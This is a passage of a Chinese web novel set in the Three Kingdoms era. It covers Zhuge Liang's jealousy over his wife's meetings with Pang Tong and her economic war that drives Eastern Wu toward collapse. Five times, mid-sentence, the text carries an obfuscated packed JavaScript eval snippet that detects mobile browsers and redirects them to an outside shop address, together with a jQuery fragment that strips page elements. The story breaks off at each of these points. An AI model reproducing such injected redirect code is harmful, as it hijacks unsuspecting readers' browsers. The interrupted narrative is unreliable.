“先生!先生!”高洋还没进门就大叫,被李嬷嬷一把捂住嘴:“叫什么!生怕邻里左右听不见么!” 高洋道:“师母回信了!” 孔明在卧榻上一个鲤鱼打挺坐起来:“她怎么说?” 高洋说师母在江夏偶遇庞统,与庞统相谈甚欢,还要赠送庞统一套《鬼谷子》。 孔明听完,感觉天要塌了:“她就是为了与庞统清谈,迟迟不归、数月来不曾问候一句?” 李嬷嬷生怕自家小姐名节受损,连忙道:“公务之余,谈谈《鬼谷》,无伤大雅。” 孔明急得站起来,在卧室里来回踱步:“嬷嬷有所不知,庞士元此人……此人……这么跟您说吧,当年我向阿楚表白心意,选用弹琴一法,正是庞士元教我的!若论排兵布阵,我自信决不逊色于他,但若论别的方面,尤其是这方面,我、我……”而且他知道黄楚喜欢脑子聪明的人,他自认是天下第一聪明人,与庞士元并列第一。 孔明风中凌乱:“阿楚还赠书……赠书……连我她都没有赠书……” 李嬷嬷:“她陪嫁了几十箱典籍,不算赠书吗……” 旁边高洋比孔明还凌乱:他自幼追随先生,第一次见先生慌乱到讲话磕巴。想来是先生遇上了平生劲敌。 还是汪嬷嬷脑子拎清,在旁道:“姑爷何必担心?且不论夫人并非水性杨花之人,单看姑爷的样貌,可比那庞士元好看多了,夫人不会轻易变心的。”该说不说,无论以前的黄楚还是后来的梁爽,都很看脸。 孔明深陷悲观叙事无法自拔:“庞士元天生姿色自是不如我,但他若刻意打扮,也未必不能入阿楚的眼。” 汪嬷嬷叹一口气,继续劝:“夫人去过东吴,连周郎这般风流俊赏的人物都见过了,还会将庞士元放在眼里么?” 孔明:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486280|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人去过东吴,连周郎这般风流俊赏的人物都见过了,还会将我放在眼里么?” 汪嬷嬷李嬷嬷高洋:先生您失心疯了,大可不必如此自我菲薄…… 孔明彻夜未眠,对月长叹。 汪嬷嬷李嬷嬷高洋隔着几道墙听他长吁短叹听烦了,半夜起身把他窗子强行关了,劝他:“您到底也是大病初愈的人,该好生歇息。若您再把自己给折腾得昏迷了,还得我们照顾。求求了,体谅体谅我们这些人。不行您就喝点酒,喝酒睡过去,第二天醒来啥事儿没有。” 这会儿孔明到倒是清醒得很:“喝酒有用么?喝酒,阿楚就能回到我身边了么?我当初就不该装病,如果我不装病——” 汪嬷嬷打断他:“如果姑爷不装病,会阻止夫人出使东吴么?” 诸葛亮沉默,过了片刻,说道:“不会。”其实他装病,本意除了逗她,也是为了她好。 众人对黄楚担任军师的接受度最初是建立在“转达重病夫君意志”之上,后来黄楚才慢慢靠自己站稳脚跟。若此时贸然宣布诸葛孔明已醒,世俗眼光是否仍能接受黄楚担任军师,诸葛亮心里捏不准。 他不想轻易毁坏阿楚好不容易建立的一切。阿楚值得一个乱世做成的舞台。 至于他自己,要想重新出山,反而是容易的——他随时都可以公布病愈的消息,只要出山,就一定有英雄豪杰愿意接收他。 经汪嬷嬷提醒,诸葛亮想起了自己装病的初心,暂时止住了叹息。 李嬷嬷也在旁边劝:“姑爷还是要相信夫人,相信夫人与姑爷的情分,也相信夫人的人品。” 诸葛亮:“我相信阿楚的人品,也相信我与她之间多年的情分,可是我还是怕呀!关心则乱!关心则乱您懂吗?您不知道,庞士元他这个人,他这辈子见过几个好姑娘?他见了我家阿楚,他——” 汪嬷嬷从后反剪他双臂,李嬷嬷掏出手帕塞住了他的嘴,高洋有生之年头一次冒犯师尊将他扛了起来,扛回卧室。 这一晚终于消停。 第二天清早,李嬷嬷汪嬷嬷起来做饭,两个人围着灶台说话。 汪嬷嬷:“继续这么下去也不行,时间久了,非把个痴情姑爷逼疯了不可。” 李嬷嬷:“罢了,看他可怜见的,咱们帮他一把。就说……就说我病了吧。呸呸呸。” 仍旧是托关银屏送信告诉黄楚。 下午传话,太阳没落山,黄楚就赶着回来了。 诸葛亮闻讯大喜。 下一秒,却又笑不出来了:我病得昏迷,她几个月不回来,听说李嬷嬷头疼脑热,她就立刻赶回来了?在阿楚心里,我到底算什么? 63. 贸易战(二) 梁爽带着一个刘备那里的医者回到了家。 依次慰问了李嬷嬷、汪嬷嬷、高洋。 医者给李嬷嬷看了病,说没什么大事,开方子抓了几服药,说药到病除。 梁爽谢过医者,要走。汪嬷嬷赶紧拦:“夫人不在家吃顿饭就走?饭都做好了,专候着夫人来吃呢,做的都是夫人爱吃的菜,红烧肉、红烧狮子头、红烧鱼、红烧烤麸。”都是梁爽带来的现代菜色。 梁爽摆摆手:“不必了,士元——啊不是,主公还等我一起用餐议事呢。嬷嬷替我照顾家里,我去忙了。” 说罢,脚底抹油,溜得飞快,眨眼不见人影。 汪嬷嬷李嬷嬷高洋面面相觑:完蛋,姑爷/先生又要长吁短叹个没完了。 怎知去到内室,却看见孔明捋着下巴上的短须,笑吟吟的,不知道他在那美什么。 三人彼此交换了眼神,达成了新的共识:坏了,姑爷/先生疯了。 “姑爷……”汪嬷嬷斟酌着劝他的话:“夫人应该是真挺忙的,所以才……夫人一贯是这么风风火火的,先生别见怪。” “不不不……”诸葛亮含笑摆手。 “姑爷别担心,我去劝夫人回头。”李嬷嬷是行动派。 “不不不……”诸葛亮含笑摆手:“我们很好,嬷嬷不用劝。” 高洋看不下去了:“先生,我这就去起草休书——” “你回来!”诸葛亮连忙喝止:“休要胡闹!”一声大喝之后察觉自己失态,忙恢复温润如玉的模样,淡淡道:“夫人是激将法。是故意的。” 三人不解。 诸葛亮解释道:“我猜测,夫人已经察觉我醒来,恼我装病,故而特意给我这样的惩罚,想激我向她坦白。” 空气冷凝。片刻,李嬷嬷说:“我觉得先生昏睡太久,脑子可能有点问题了。” 汪嬷嬷也说:“我也觉得先生可能脑子有点问题了。” 高洋也说:“我也觉得先生可能——先生可能想多了、想跑偏了。” 李嬷嬷补充说:“你们有没有觉得,夫人自从生过那一场大病之后,醒来就对先生有些……淡淡的?” “是,比起从前,是有些‘淡淡的’。”汪嬷嬷和高洋都附和。 从前诸葛亮和夫人,那是出双入对形影不离,如胶似漆蜜里调油,妇唱夫随琴瑟和鸣。现在呢?有种陌生人间的客气和距离感,确实淡淡的。 三个臭皮匠,赛过诸葛亮。诸葛亮听完这三人说的话,一时也有些懵,开始自我怀疑。 想来想去,说道:“在这里空等也不是办法,高洋,替我修书一封,给庞士元,就说我约他比试兵法,他必来。”他从小就和庞统比这比那,庞统争强好胜,见他下战书,必来应战。 怎知书信送出去,几天都没消息。 因为庞统那边,老早就收到了黄夫人的信。黄夫人信里告诉他诸葛亮昏迷不醒,她忙于照顾他,最近都不会给他写信,最近诈骗横行,如果有诸葛家的信寄来,就是骗子,请他不要搭理。 庞统竟然不应战。诸葛亮彻彻底底坐不住了。 他开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486281|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始品,细品。 不应战,意味着什么?意味着庞统已经不屑与他较量。 庞统为什么不屑与他较量?因为庞统觉得自己完全赢过了他。 庞统为什么觉得完全赢过了他?莫非是因为庞统已经抢走了阿楚的芳心!!! 梁爽回家摆了诸葛亮一道,回到刘备宅,就继续和几位谋士研究她的经济战。 东吴已经发生严重的通货紧缩,而荆襄已经通过水力机械生产,囤积了大量廉价的纺织品,如麻纱、麻布、低档丝绸。 众人根据糜竺糜芳兄弟带回来的商业资讯反复研判,认为已经是好时机向东吴大量倾销。 通货紧缩已经导致东吴本地物价下跌到极致,没有降价空间。而荆襄出产的织物,售价只有东吴本地价格的不到一半,质量则毫不逊色。傻子都知道怎么选。 荆襄产品进一步压低了东吴织物的售价,使得售价远远低于本地织户的生产成本。东吴有大量织户被迫停产,另谋生路,但正值市场萎靡,百业荒废,务工机会有限,没有那么多岗位吸纳如此多的失业织户,一时间流民遍地。 这时织户们发现,江对岸的荆州,织布厂大量招工,于是纷纷偷渡长江,去荆州务工。 到荆州后,见此地轻徭薄赋,刘备爱民如子、官声斐然,便干脆给老家寄信,将一家老小全部迁来,安居乐业。 几个月内,东吴丧失大量人口,其中还以青壮年居多。 更要命的是,东吴小朝廷从上到下至此才终于明白了鹦鹉洲船厂是多么恐怖的存在。 64. 贸易战(三) 程昱去年冬天在东吴,也并不是在驿馆干坐着,而是四处走动,探访民情。 现在虽然东吴已经送客,但程昱并未急着赶回邺城,而是留在江对岸,继续观察江东局势。他是聪明人,懂得经世致用,起初虽然看不分明,但等他眼看着东吴的经济民生如何一步步恶化,很快就看明白吴国面临的困境,致信曹丕:其一,物价跌得太厉害,东西卖不出去,市场越来越冷清;其二,织户没活干,年轻力壮的人跑到荆州去打工,人口越少,市场就更没活力,东西越发卖不动,导致更多的人失去生计;其三,鹦鹉洲船厂把掌握造船核心技术的工匠和有力气的力工都吸引走了,吴国本土的军舰制造只剩个壳子——船厂的工钱给得高,但凡有本事、有门路的东吴男人都挤破头想进去做工。 曹丕接信,拿给贾诩看,贾诩看过,笑评了一句:“东吴如深陷泥潭,越陷越深:越穷越没人,越没人就越穷。”说着说着,敛去笑容:“公子,此招阴险,非世间寻常人所能想到。刘备小儿与那黄楚妖妇,实在不容小觑。” 曹丕点头道:“文和公所言甚是。不过东吴落难,对咱们来说,不是坏事。既然如此,咱们不妨添一把火。” 贾诩道:“公子的意思是?” “我想向父亲提议,在许昌、邺城开市,以重金高薪吸收东吴织户,让他们来北方找出路,文和公以为如何?” 贾诩稍作思索,劝阻道:“此计不妥。黄楚之计,吸纳织户,生产出的织品价格便宜,销量巨大,可以盈利。但我们北方纺纱织布无论产量还是技术都不足与荆襄、江南相比,所以不能照抄照搬她的计策。若只靠重金吸引东吴人前来,耗费巨大,无以为继,恐怕最后变成白白撒钱——人没留下,钱全被东吴人带走了。” 曹丕听他说得在理,便放弃先前的想法,虚心请教:“文和公有没有其它妙计?” 贾诩问:“那就要看公子对丞相意思的揣摩了。公子以为,眼下,是应该跟刘备合力,一鼓作气搞垮东吴,还是应该帮一把东吴,好留着它与刘备抗衡?” 曹丕陷入沉思。 贾诩只含笑拈须不语。这种重大决策,不但事关国运,还事关夺嫡,责任重大,他不敢轻易去背。一切决定,最终还是要留给曹丕去做。 东吴小朝廷,众人齐聚孙权宅邸议事,面色也都是铁青。 东吴市面惨淡。江东明明物产丰富,百姓却什么都卖不动、什么都买不着。一个个都紧紧捂着钱袋子。 失业,大面积的失业。起初只有织工失业,后来各行各业都没活干,就连种地的农民,由于米价已经跌到不值钱,也放弃了耕种。 有门路、有本事的人,挤去鹦鹉洲船厂,领蜀锦作为薪水,用蜀锦可以换到养家糊口的粮食。船厂的薪水是用蜀锦支付的,而荆州在川蜀与江东之间,牢牢控制着蜀锦的贸易。现在东吴的钱已经不算是钱,一应商品都是两个价格,一个是用东吴钱衡量的价格,一个是用蜀锦衡量的价格。刘备黄楚算是把东吴的命脉给拿捏住了。 而没本事、有门路的人,都在往荆州跑。去荆州做工、做买卖。荆州人有钱。 由于东吴和荆州只有一江之隔,风土人情相通,很多东吴人在荆州待得舒服,就干脆留在荆州,甚至把一家老小都搬来。 东吴沿江设置关卡,严防民众离境,但根本防不住。 剩下没本事、没门路的人,渐渐坐吃山空,开始饿肚子。人一旦饿肚子,就免不了为了生存而男盗女娼。饥饿而不能逃到荆州的流民渐渐成为乱民,乱民积聚,便成为叛军。 叛军扫荡,所到之处,百姓们要想活命,只有两个选择,加入叛军,或者背井离乡。逃到江对岸的良民越来越多,留在东吴的叛军越来越多。 东吴的局势在短短几个月间迅速恶化到难以想象的地步。东吴君臣猝不及防,甚至根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486282|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本没有搞懂事情究竟是怎样发生的。 他们唯一明确的一点是:一定是黄楚在搞鬼。 张昭提议开库放粮以安抚百姓。 鲁肃反对:一旦免费放粮,粮价将彻底崩盘,届时更不会有农民种地了。失业比暂时的挨饿更可怕——不种地的农民,哪个行业能接收?恐怕又是要么投奔荆州,要么投奔叛军。 张昭反驳道:“只要朝廷发给粮食养着他们,他们何必去投荆州或叛军?” 鲁肃问:“依您所见,如果朝廷粮仓全部开放,能够多少百姓食用超过一月?一个月后,朝廷粮仓空了,到那时怎么办?到那时——连忠于主公的嫡系军队都会倒戈哗变!” 张昭羞得老脸通红,怒道:“子敬你有高见!不妨向主公和列位臣工说出来!看你如何力挽狂澜!” 鲁肃虽然想了些策略,但到底没什么底气,只说要沿江多设关卡,向荆州商人征税,以补贴国库。 张昭听了,冷笑一声,吹得唇边白胡子都飘动:“且不说你这是公然撕毁与黄楚的合约。现在江东市面上本就货物不流通,你加征关税,难道荆州就不能反向对我们加征关税?到时江东货物的销路被你活生生斩断一条,这下就连商人们也要反了,天下更要大乱!” 又有谋士提议,铸新钱投放至民间,以缓解铜钱不足。可是整个东吴的地界上,就没有几座铜矿——总不能拿金银珠宝去荆州或者向曹操买铜吧? 剩下的路似乎只有一条。 众人的目光渐渐汇于周瑜一人身上。 孙权也如看着最后的救命稻草一般,以充满希冀的眼神注视着他。 “大都督……”众人不约而同低声道:“不如……” “既然主公与诸位同僚的意见皆是如此……”周瑜坚定了决心:“那就……开战!” 怎知几天后东吴诸人发现,原来有时,就算想打仗,仗也是没法打的。 65. 贸易战(四) 东吴如果想进攻荆襄,最好是水战。 但战船却出了问题。 东吴的工匠和力工都被吸引到了鹦鹉洲船厂。东吴如果想突然开战、打荆州一个猝不及防,就不能提前撕毁合约,不能强行将工匠们接回。 没有工匠,就不能造新战船、不能维护旧战船。 人才短缺已经足够致命,偏偏造船修船所需的铁、桐油、生漆等关键物资也告罄。 一部分物资是跟人才一样被鹦鹉洲船厂吸走了。 另一部分,则是糜氏兄弟趁着通货紧缩以低价大量收购去了荆襄,变成了水力纺纱机、水力织布机。 东吴确实可以设法卡鹦鹉洲船厂的造船速度,限制荆襄获得新战船的速度。 但回头一看,自己的造船业竟然短短几个月间也荒废了。 没有好战船,水军就相当于跛了双脚。 不被曹刘两家顺江而下偷袭就不错了,还怎么主动出击? 束手无策。 东吴众人今日才知,何为“束手无策”。 若什么都不做,放任经济形势恶化,不出几个月,江东赤地千里,不是饿殍就是乱民,军队哗变,文臣武将各谋生路,孙氏三代建立的基业就会轰然坍塌。 但想出兵作战打开经济上的局面,偏偏水军又废了。 要想重振水军,需要经济上的支持——这就又绕了回去。 挣脱不了的死循环。 眼下摆在东吴面前有三条路:一条,靠着跛脚的水军和一部分陆军,进攻荆州,殊死一搏,以全部身家性命最后赌一把,如果夺得荆州,难题自解,而如果战败,则一无所有;一条,重新和刘备谈判,请求刘备放他们一条生路;还有一条,就是向曹操求援。 吴侯孙权召集周瑜、张昭、鲁肃三人于议事厅,商量出路。 张昭面色凝重:“不如北联曹操,虽如饮鸩,或可止一时之渴。否则若社稷倾覆,主公何处安身?” 鲁肃摇头反驳:“曹操虎狼之徒,若向他求援,如以身饲虎、引狼入室,江东焉能保全?唯有与刘备重启和谈,纵受屈辱,亦能存续国祚,徐图后计。刘备仁柔,比起曹操,或许好些。” “仁柔?豺狼比虎豹仁柔,难道就能忍着不吞下我江东这块肥肉?”周瑜的声音斩钉截铁:“求和,求援,皆是将性命操于他人之手!唯有战,夺回荆州,方是真正求得生机!江东男儿,宁为玉碎,不为瓦全!” 三人争执不下,目光最终都汇聚于沉默的孙权身上。 最终还要靠孙权拍板。 孙权听着他们的争论,目光扫过案上几份各地发来的奏报:粮荒、军营怨言四起、府库渐渐见底……他深知张昭代表的文官体系在经济崩溃面前已然失效,已经丧失了有效管理民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486283|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众的能力。此刻,他能倚仗的,唯有手中还握紧刀枪的军队,以及执掌它的人。他深吸一口气,压下所有犹豫,目光灼灼地看向他最信任的统帅: “公瑾,靠你了。” 周瑜绝非莽夫。要开战,绝非以鸡蛋与石头硬碰硬。 谋局先谋人,谋人先谋心,他自少年起便戎马驰骋,胸中自有这般韬略。 江东的局势,大概还能勉强维持三个月。三个月看似短,但依然可以做许多事情。 除了秘密训练扬州庐江郡驻扎的陆军、准备作战之外,另有许多战场以外的动作。 先以金帛笼络部分商人,将部分商船收入麾下,派遣兵丁随这些商人乘船出海,销售东吴所产的丝帛织物,自海外采购铜铁、粮米等资源,冀图借海外贸易稍稍重振经济。 再派死士扮作寻常力工,混入鹦鹉洲船厂。又在原有军事暗探的基础上,派出几支士兵小队,潜行至荆州,打探经济民生相关消息。 最后命鲁肃充任使节,率团出使襄阳,代表吴侯与刘备重新谈判——不求取得成果,但求分散刘备方的注意力,拖延时间。这最后一计,只有他和吴侯知道真实目的,其余百官皆以为吴侯是真心向刘备求和,连鲁肃都蒙在鼓里。 可惜虽蒙得住鲁肃,却蒙不住黄楚。 黄楚既然布了局、出了招,后面便是一个接一个的连环套。 66. 贸易战(五) 东吴如果想翻身,只有三条路走:其一、向刘备求和;其二、向曹操求救;其三、狗急跳墙向刘备发动闪电战——如果不速战速决,东吴的经济根本撑不住供养军队的开销。 梁爽重点要防备的,是东吴同时选择后两条路:联合曹操一起突袭刘备。 为此,她出使东吴回来时,路过荆州,曾给过关羽一只锦囊。 锦囊里写了两件事。一件,是关银屏曾经偷偷随她出使东吴,一路上没有功劳也有苦劳,请关羽不要惩罚她,也不要限制她学习武术兵法;另一件,就是提醒关羽,东吴随时可能撕毁合约,届时可能让军人冒充商人或其他身份的人以小船登陆荆州、或陆路进城,请关将军时时刻刻不要懈怠,千万小心提防。 东吴如果要搞偷袭,必然首选荆州。前世,梁爽看过《三国演义》里面吕蒙白衣渡江的戏码,印象深刻。这一世,她绝不想看关羽折戟此处。 周瑜重振商业的措施远水不能解近渴,东吴的经济还在继续崩坏。 鲁肃使团的座船在汉水畔缓缓靠岸时,暮春的襄阳城笼罩在一片前所未有的繁荣喧嚣之中。码头上舳舻相接,不仅有来自西面蜀地的商船,还有悬挂着北方胡商旗帜的货船。力夫们号子响亮,接力将蜀锦、羊毛毡、海盐等各地特产及米粮卸下,又将堆积如山的各色丝绸布匹等货物装上船舱。空气中弥漫着金钱流动的气息,强劲而充满活力。 以鲁肃为首的东吴官员立在船头,望见如此兴旺情景,联想东吴近来的萧条,不免各自心绪澎湃,久久不能平静。 主战派的吕蒙恨得牙痒痒:“黄楚妖妇,以妖术将我江东祸害得饿殍遍野,大把的财富流向荆襄,将这里的人倒是养得肥头大耳!” 主和的顾雍则与老臣吕范交换了一个眼神,幽幽叹道:“两地经济民生差距如此之大,荆襄民富力强,这仗,怎么打?恐怕纵然是公瑾也……” 诸葛瑾则默然望向江水,不知在想些什么。他夹在中间,不知该为弟弟、弟媳的成就感到高兴,还是该为东吴的处境感到绝望。 鲁肃心中如潮水翻涌,但三言两语难以表述,只安抚众人道:“诸位同僚,此行吴侯有令,系来改善两地间贸易状况,我等务必谨慎行事,不负吴侯嘱托。” 鲁肃是实心的人,吴侯说要和谈,他就真个当成一桩务必完成的使命,其他人则暗地里揣度着,吴侯根本信不过刘备和黄楚,命他们出使的真实目的或许根本就只是为了拖延时间,至于和谈结果,则属于“有枣没枣打一杆子”——有则锦上添花,没有便没有,亦无所谓。 梁爽出使东吴时,曾被周瑜晾在驿馆冷待了些时日,这次虽然来的是鲁肃而非周瑜,梁爽仍旧“礼尚往来”,只在江边一艘军舰上远远给鲁肃一个下马威,打过照面之后便消失无踪,只将鲁肃一行人扔在驿馆,命一名长史接待。 她之所以能这样行事,背后自然有刘备撑腰。刘备听说军师一行人在东吴曾被怠慢,便决意要替军师出气,因此梁爽提出要冷置东吴使团时,刘备爽快答应了:“一切交由军师安排。” 张飞等人也在旁鼓噪:“就是!就该这么着!江东黄毛小儿敢轻视咱们军师?咱们也不给他们好脸色!若他们不老实低头,咱们杀到江东去,杀一个片甲不留!” 梁爽虽然不认同刀兵相见的做法,但对刘备帐下众人待她之心自是感念不已。 梁爽待东吴使团冷淡,并不只是为了出气。从公事的角度考虑,这也是一种谈判技巧,煞一煞他们的气焰。 过了十日,梁爽估摸着东吴阵营里的那几个急性子的人忍耐已经到了极限,终于姗姗来迟,到访驿馆。 吕蒙等人看她的眼神几乎要将她生吞活剥。 他们在襄阳每多耽搁一日,家乡父老便多穷困窘迫一日。虽然襄阳这边好吃好喝招待,但他们日日煎心,根本食不知味,被黄楚晾了十日之久,怒气累积即将爆棚,这时看见黄楚带着几个侍从悠哉悠哉到来,他们哪里能有好脸色? 鲁肃身为主使,涵养深沉,虽然心存不满,但面上依旧风度翩翩。 两相见礼后,梁爽道:“近来公务繁忙,未能脱身,怠慢来使,抱歉抱歉。” 鲁肃答了几句场面话,便问何时得见玄德公。 梁爽从容笑道:“不急。”问鲁肃等人近日在驿馆周边有何见闻。 鲁肃坦诚道:“宝地商贸发达,水军军容壮盛,百姓安居乐业——百姓之中许多江东面孔。” 梁爽无视他最后一句话里面的刺,又问:“一别数月,江东可还太平无恙?” 这一问,登时点燃了东吴诸人的怒火:始作俑者,竟有脸发问! 鲁肃沉稳道:“江东如何,夫人心知肚明,何须相问?” 梁爽微笑,继续道:“许久不见,吴侯可还安好?” 东吴境内大乱,孙权焦头烂额,民间声望一落千丈,身体恐怕也难堪负荷。 鲁肃抬手整理冠缨,昂首答道:“吴侯勤政如初,夙兴夜寐。”不卑不亢。 好一个不辱主命、不辱国格的使节!梁爽心中暗暗钦佩。 “如此,黄某便安心了。”梁爽笑道:“玄德公已在宅邸设宴,诚邀诸公光临。请。” 鲁肃等人登上马车,车驾驶入城中,鲁肃的心一点点沉入谷底:襄阳城内街道宽阔整洁,两旁商铺林立,顾客盈门。这与建业日益萧条的市面、府库中日渐减少的税收、以及民间怨声载道的景象,几乎是两个世界。地狱与天堂般的对比。 鲁肃渐渐意识到,发生在东吴的是一场精心策划、实力碾压式的经济战争。在刘备的地盘上,经济不仅未被近来与曹操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486284|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的几场战役拖垮,反而因为黄楚的某种办法而以前所未有的方式汲取着天下的财富,而东吴正首当其冲,是最先被碾碎榨干的那个。 “江东大事不妙……”一种绝望的声音不受控制地在他脑海中炸响。如果要对刘备开战,必须尽快,否则再拖几个月,东吴的经济必然彻底崩溃,万劫不复;但如果现在开战,荆襄两地的百姓必然同仇敌忾,奋起捍卫他们现在拥有的富足安定的生活……到时恐怕无需刘备黄楚动一兵一卒,民间百姓人人皆兵…… “得道者多助,失道者寡助。寡助之至,亲戚畔之;多助之至,天下顺之……”鲁肃自问吴侯绝非失道昏君,但如今不知为何,“道”似乎站在了刘备和黄楚这边…… “道”,究竟是什么?他心中产生了深深的怀疑与动摇。 宴会在祥和的气氛中进行,刘备态度亲切,绝口不提两地纷争,只叙旧日情谊。但越是如此,鲁肃越是感到那平静水面下的汹涌暗流。 鲁肃初次与刘备相见,心中暗自感叹刘玄德“天日之表、气度非凡”之余,亦深知刘备的自信源于手里荆襄二地绝对的实力。 鲁肃感受到的压力,同行其余诸人都感受到了。 吕范与步骘二位此行是作为鲁肃在经济贸易方面的智囊,原本不对和谈抱有兴趣,此时早已转换脑筋,无论如何都想促成和谈,整场宴会都向刘备陪着笑脸,试图请刘备同意能重议关税、将货物定价更公允些,以保护东吴本地货物生产与商品买卖。刘备笑着摆摆手,推说不懂,让他们明日与黄军师谈。 吕蒙低着头喝闷酒。 诸葛瑾因立场尴尬,自始至终皆是默然。 翌日,在与梁爽的正式会谈中,鲁肃彻底改变了策略。他言语不再带刺,更不兴师问罪,而是放低了姿态。 “黄夫人,”鲁肃道:“吴侯与玄德公,本是同盟,共抗曹贼。如今东吴遭难,若玄德公坐视不理,江北曹操见我江东与玄德公生出嫌隙,挥师南下,该如何是好?” 梁爽羽扇轻摇,不动声色:“子敬兄高见。不知子敬兄以为下一步该当如何?” 鲁肃深吸一口气,说出了他思虑再三的提议:“肃愿修书吴侯,陈说利害。孙刘联盟,关乎天下大势,不可轻废。若可重新修订契约,刘皇叔助我江东平安度过此劫,助我百姓重新安居乐业,则两国幸甚,天下幸甚!至于契约中的些许细节,皆可商议。”他这番话,实际上已经是在暗示东吴愿意在刘备主导的经济秩序下寻求合作,近乎服软。 梁爽道:“黄某恭承子敬兄美意,只怕……只怕这么大的事,子敬兄做不得吴侯的主;而吴侯,未必做得了周公瑾等诸位将军的主。孙氏经营江东。已历三世,恐怕不肯轻易屈居人下吧?不放手一搏,怎么甘心?孙将军派子敬兄来此出使,真的是为了和谈么?” 67. 贸易战(六) 放眼全天下的聪明人里头,鲁子敬是数一数二的实诚人。实诚人有实诚人的好处。 孙权也算是知人善任,知道鲁肃实诚,便没将此次派他出使的真实目的告诉他。 此时此刻的鲁肃坚信自己身负的使命是和谈。于是他坚定地贯彻着自己的信念,无论如何都要为吴侯、为江东达成孙刘两家和好的目标。 “夫人何出此言?”见黄楚怀疑东吴使团此行用心不诚,鲁肃正色道:“自从夫人来江东签订了合约,我江东一直是按合约办事,何曾有过出尔反尔?倒是贵方屡屡出手暗算我,令我江东饿殍遍野……吴侯不忍见江东百姓受苦,这次派鲁某率众臣前来,除了为重修条约,还能所为何事?” 梁爽垂眸一笑:“哦?是么?吴侯竟是如此重诺守信之人?可是黄某听闻,当时条约刚刚签完,黄某尚未离开宝地,吴侯便已经在与曹操接洽联姻,欲以孙尚香小姐许配曹操第三子曹彰。且这次子敬兄率团前来的同时,周瑜大都督前往庐江郡训练兵士,剑指荆州。且庐江地近合肥,曹操驻兵合肥之人出入无阻,消息往来极易,不知周都督会不会借机与曹操的人相接洽?” 联姻之事极为机密,东吴使团中只有鲁肃略知一二,吕蒙等人尚且不知,而黄楚竟然连孙小姐的婚配对象这样的细节都知悉,众人不由得暗中震惊。 “并无庐江练兵之事,我方亦绝无与曹操接洽之可能。”鲁肃道:“夫人或许曾有所听闻,周公瑾最有骨气,决不轻易屈从敌人。” 梁爽又笑:“既然如此,想必周公瑾也不赞成子敬兄前来襄阳和谈吧?文臣武将之中,吴侯最是爱重公瑾,如果周公瑾不赞成和谈而吴侯又偏偏同意和谈,只说明一条,那就是和谈根本不过是障眼法,实则还是为了暗中动兵。吴侯为了能骗过我,就干脆连子敬兄你一道骗了。” 鲁肃三绕两绕被梁爽绕进了圈套里,猛然醒觉时,脸上一阵红一阵白。 “黄夫人。”眼看着鲁肃快要顶不住,一把年纪白发苍苍的吕范站出来道:“就算退一万步讲,周瑜真在庐江郡练兵,也不过是为了防御曹操,并非针对刘使君。还请夫人莫要误会。且夫人若曾派密探至庐江窥测我军,实属不妥。” 梁爽其实已通过探子拿到周瑜部的确切消息,并已在江夏与庐江接壤处部署军队,坐等周瑜来战。但军事机密,怎容泄露。她闻言轻挥羽扇,笑道:“哦,其实我只是随口一说,故意诈一诈诸位,没想到周瑜还真在庐江呢?我方并未散播密探——我方坚守条约,怎会做那种暗地里备战这样龌龊的事呢?” 一句话把东吴诸人都骂了。吕蒙气得两眼通红。 东吴使团众人脸上皆写着“信你个大头鬼”字样,梁爽装作看不出,只含笑不语,让他们猜去。 